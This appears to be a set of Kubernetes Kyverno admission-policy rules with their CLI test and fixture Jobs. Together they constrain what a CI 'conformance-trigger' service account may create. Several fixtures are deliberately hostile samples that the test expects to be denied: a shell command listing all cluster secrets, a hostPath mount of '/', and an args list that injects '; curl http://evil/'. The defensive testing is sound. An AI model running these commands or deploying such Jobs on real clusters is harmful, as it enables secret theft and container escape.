- name: trigger-may-create-only-the-committed-conformance-run
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger may create ONLY the committed conformance run: a single container,
digest-pinned conformance-runner image, serviceAccountName conformance-runner,
command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
and only the `workspace` and `results` volumes. See
platform/kyverno/admission/conformance-trigger-job-shape.yaml.
pattern:
spec:
template:
spec:
serviceAccountName: conformance-runner
=(hostNetwork): "false"
=(hostPID): "false"
=(hostIPC): "false"
containers:
- image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
command:
- "./run.sh"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
=(privileged): "false"
- name: trigger-volumes-must-be-workspace-or-results
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
volume is how a constrained pod reaches a host path, a secret, or another SA's token.
# foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
# matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
# asserts EVERY volume is one of the two allowed names.
foreach:
- list: "request.object.spec.template.spec.volumes"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value: ["workspace", "results"]
- name: trigger-args-must-be-the-committed-flags
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Job args may contain only the conformance run's own flags
(--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
Anything else — a shell, a path, a redirect — is denied.
foreach:
- list: "request.object.spec.template.spec.containers[0].args"
deny:
conditions:
all:
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
operator: Equals
value: false
@@ -20,3 +20,7 @@ resources:
# --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
# (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
- secret-provenance.yaml
# --- R-SEC-02: constrain what the conformance CI trigger may create ---
# THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
# subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
- conformance-trigger-job-shape.yaml
@@ -0,0 +1,57 @@
# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
#
# Each DENY case below is a real escalation path, not a style violation. The one that matters
# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
# this policy.
#
# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
# never fires and every case trivially passes — a test that proves nothing.
apiVersion: cli.kyverno.io/v1alpha1
kind: Test
metadata:
name: conformance-trigger-job-shape
policies:
- ../../admission/conformance-trigger-job-shape.yaml
resources:
- resources.yaml
userinfo: user-info.yaml
results:
# ---- the committed run is ADMITTED ----
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [good-run]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [good-run]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [good-run]
result: pass
# ---- THE escalation: runner SA + arbitrary command ----
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
result: fail
# ---- an extra volume is the way out of a constrained pod ----
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [extra-volume]
result: fail
# ---- args beyond the committed flags ----
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [injected-args]
result: fail
@@ -0,0 +1,154 @@
# The committed shape — must be ADMITTED.
apiVersion: batch/v1
kind: Job
metadata:
name: good-run
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-command
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# An arbitrary image running as the privileged SA. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-image
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: docker.io/library/alpine:latest
command: ["./run.sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: tag-not-digest
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
command: ["./run.sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# Host namespaces + privilege escalation. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: host-namespaces
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
hostPID: true
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
securityContext:
runAsNonRoot: false
allowPrivilegeEscalation: true
volumes:
- name: workspace
emptyDir: {}
---
# An extra volume — the way out of a constrained pod. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: extra-volume
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: hostroot
hostPath:
path: /
---
# Injected args beyond the committed flags. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-args
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2", ";", "curl", "http://evil/"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
@@ -0,0 +1,12 @@
# The requesting identity the policy keys on. Without this the `subjects` match never fires and
# every case below would trivially "pass" — proving nothing.
apiVersion: cli.kyverno.io/v1alpha1
kind: UserInfo
metadata:
name: conformance-trigger
userInfo:
username: system:serviceaccount:conformance:conformance-trigger
groups:
- system:serviceaccounts
- system:serviceaccounts:conformance
- system:authenticated